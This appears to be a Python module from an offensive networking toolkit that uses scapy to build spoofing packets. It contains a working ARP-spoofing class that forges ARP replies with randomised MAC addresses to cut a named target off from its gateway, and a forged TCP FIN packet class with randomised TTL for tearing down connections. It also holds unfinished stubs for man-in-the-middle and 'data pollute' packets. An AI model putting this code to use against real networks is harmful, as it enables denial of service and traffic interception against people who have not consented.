'''
This is a model for some spoofing attact.Includes ARP spoofing.

the introduce of functions
sends: send spoof packet defined in this model
randsleep: sleep random time which range from 0.01s to 1s

the introduce of packets
ArpSpoofPacket
'''
from scapy.all import Ether, ARP, IP, TCP, UDP
from scapy.all import send, sendp
from .hackrandom import *
    
#############
#MITM packet#
#############
class MitmPacket:
    def __init__(self, target_ip, gateway_ip):
        self.__packet__ = (Ether() / ARP(op=2), Ether() / ARP(op=2))
  
######################
#intetnet cut packets#
######################

class ArpCutPacket:
    def __init__(self, target_ip, gateway_ip):
        '''
        The packet for ARP spoofing.
        Give the target_ip and gateway_ip to spoof the gateway to cut down the target's internet connection.
        
        target_ip: the ip of target conputer which will be cut down internet connection.
        gaterway_ip: the ip of the gateway which is connected by the target.
        '''
        self.__packet__ = Ether(src=randmac(), dst=randmac()) / ARP(psrc=target_ip, pdst=gateway_ip, op=2)
        self.send_type = 'sendp'
    
    @property
    def packet(self):
        return self.__packet__['Ether'] / self.__packet__['ARP']
    
    def remake(self):
        self.__packet__['Ether'].src = randmac()
        self.__packet__['Ether'].dst = randmac()
        return self.packet

class FinCutPacket:
    def __init__(self, dst, src, dport, sport):
        self.__packet__ = IP(dst=dst, src=src, ttl=randttl()) / TCP(dport=dport, sport=sport, flags='F')
        self.send_type = 'send'
    
    @property
    def packet(self):
        return self.__packet__['IP'] / self.__packet__['TCP']
    
    def remake(self):
        self.__packet__['IP'].ttl = randttl()
        return self.packet

#####################
#data pollute packet#
#####################

class UdpPacket:
    def __init__(self):
        self.__packet__ = UDP()
